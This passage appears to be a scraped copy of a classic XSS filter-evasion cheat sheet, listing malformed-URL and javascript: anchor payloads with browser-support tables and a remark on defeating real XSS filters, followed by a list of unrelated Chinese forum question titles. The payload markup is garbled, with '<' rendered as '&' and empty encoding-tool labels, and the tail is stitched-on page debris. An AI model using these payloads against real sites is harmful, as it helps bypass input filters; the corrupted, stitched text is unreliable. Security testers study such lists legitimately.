Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
Google "feeling lucky" part 2.
This uses a very tiny trick that appears to work Firefox only, because if it's implementation of the "feeling lucky" function.
Unlike the next one this does not work in Opera because Opera believes that this is the old HTTP Basic Auth phishing attack, which it is not.
It's simply a malformed URL.
If you click okay on the dialogue it will work, but as a result of the erroneous dialogue box I am saying that this is not supported in Opera, and it is no longer supported in Firefox as of 2.0:
&A HREF="http://jb51.net@google"&XSS&/A&
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
Google "feeling lucky" part 3.
This uses a malformed URL that appears to work in Firefox and Opera only, because if their implementation of the "feeling lucky" function.
Like all of the above it requires that you are #1 in Google for the keyword in question (in this case "google"):
&A HREF="http://google:ha.ckers.org"&XSS&/A&
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
Removing cnames (when combined with the above URL, removing "www." will save an additional 4 bytes for a total byte savings of 9 for servers that have this set up properly):
&A HREF="/"&XSS&/A&
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
Extra dot for absolute DNS:
&A HREF="./"&XSS&/A&
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
JavaScript link location:
&A HREF="javascript:document.location='/'"&XSS&/A&
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
Content replace as attack vector (assuming "/" is programmatically replaced with nothing).
I actually used a similar attack vector against a several separate real world XSS filters by using the conversion filter itself () to help create the attack vector (IE: "java&#x09;script:" was converted into "java	script:", which renders in IE, Netscape 8.1+ in secure site mode and Opera):
&A HREF="http://www.go//"&XSS&/A&
Browser support: [IE7.0|IE6.0|NS8.1-IE] [NS8.1-G|FF2.0] [O9.02]
Character Encoding:
All the possible combinations of the character "&" in HTML and JavaScript (in UTF-8).
Most of these won't render out of the box, but many of them can get rendered in certain circumstances as seen above (standards are great, aren't they?):
<
<
<
<
<
<
<
<
<
<
<
<
<
ASCII Text:
Enter your XSS here
Hex Value:
HTML (with semicolons):
Decimal Value:
HTML (without semicolons):
Base64 Value ()
IP Address:
: dword level
Dword Address:
Hex Address:
Octal Address:
Browser support reference table:
Vector works in Internet Explorer 7.0.
Most recently tested with Internet Explorer 7.0.5700.6 RC1, Windows XP Professional SP2.
Vector works in Internet Explorer.
Most recently tested with Internet Explorer 6.0.28.1.1106CO, SP2 on Windows 2000.
Vector works in Netscape 8.1+ in IE rendering engine mode.
Most recently tested with Netscape 8.1 on Windows XP Professional.
This used to be called trusted mode, but Netscape has changed it's security model away from the trusted/untrusted model and has opted towards Gecko as a default and IE as an option.
Vector works in Netscape 8.1+ in the Gecko rendering engine mode. Most recently tested with Netscape 8.1 on Windows XP Professional
Vector works in Mozilla's Gecko rendering engine, used by Firefox.
Most recently tested with Firefox 2.0.0.2 on Windows XP Professional.
Vector works in Opera.
Most recently tested with Opera 9.02, Build 8586 on Windows XP Professional
Vector works in older versions of Netscape 4.0 - untested.
Note: if a vector is not marked it either does not work or it is untested.
Written in vim, and UTF-8 encoded, for her pleasure.
All rights reserved, all wrongs observed.}
我要回帖
更多关于 ext.namespace 的文章
更多推荐
- ·如何在夸克浏览器网页版入口官网上免费上网?
- ·手机视频怎么视频加字幕用什么软件好？
- ·全网追剧流量包腾讯视频的移动免流量模式是什么不包含腾讯动漫吗？
- ·沐曦股票行情在那上市的？
- ·中华烟251是什么意思多少钱一包？
- ·高中学考成绩对章泽天高考成绩有什麽影响？
- ·义隆金融下载是黑平台吗
- ·cad输出wmf格式来的wmf格式导到coredraw里为什么填充的图案没有了
- ·在360极速浏览器翻译里面HTML的center middle 是不失效了
- ·关系模式集邮政编码（城市，街道，邮政编码）是（） 第几范式
- ·长沙肉类联合加工厂加工用盐渍,原因是?
- ·显示器 长城 CGC0000 L23W ( 23.6英寸 英寸 ) 值多少钱？
- ·hudbt下载时uttorent出现白苹果怎么办红种怎么办？
- ·皇城国际新的网页呢？和记线上什么原因会御龙在天封号原因啊？
- ·qq空间怎样添加qq背景音乐乐怎么免费添加
- ·delphi 将数据库中的图像数据delphi 导出excell
- ·水星mw153r 桥接设置密码后不能上网，不设密码能上网。就是我设置密码后无线网能连接，不能上网，
- ·下载了ps的烟雾笔刷，但是不会ps中怎么安装笔刷和使用
- ·哪位大神解答怎样用电驴哇嘎搜索下载特殊片，在空间地址栏在哪搜搜不到啊，求详解
- ·请问各位谁有vmware虚拟机xp系统 8 啊，急用啊，有些系统装不了啊,请发到
- ·<?import ext.namespacee="t" implementation="#default#time2"> 什么意思
- ·劲量XP18000A 超大容量移动电源什么牌子好 移动充电 外置电池送雷柏鼠标 好多人买...
- ·ICQ查找联系人为什么都不联机查找防病毒程序的啊 点了联机查找防病毒程序也还是暗的哇?
- ·我前两天回答了一个提问者的问题，提问者郭一锅，提的问题南京尚景宾馆通信是不是骗子？回答以后就看不到了 为什么
- ·色站,导航最新地址多少？色站,导航类似的给个也可以呀~~~~~熽协
- ·请教电脑高手关于无法上网的问题，有什么快捷的办法解决关于dns和网关一样\IP\DNS\IDSL\等原因引起的无法上网问题；
- ·h3c 雅阁aux接口怎么用用
- ·harbor freightHouse Pacific 电脑主机柜 柜子 两色可选 101798 102054 质量好不好?
- ·我家的主机开机后电脑没反应没有红点闪显示器键盘都没反应还没有开机后电脑没反应的滴的一声内存插拔很多次了显卡也是
- ·刚在官网下了kies 的最新版 打算在线如何用kies升级固件件 但是电脑上安装完成后 双击没有反应
- ·足球，最近的足球赛开始喜欢了
- ·fifa街头足球总共有多少个版本的足球
- ·怎样才能让肌肉生长如何加速头发生长
- ·冲五钻百宝力babolat n.vyCONTROL精品网球拍，买一送五，高碳素精品 好吗?
- ·阿诺德仰卧 多功能小仰卧板运动收腹机迷你仰卧起坐板俯卧正品送女友 我好...
- ·武术教练证二级证有什么用啊
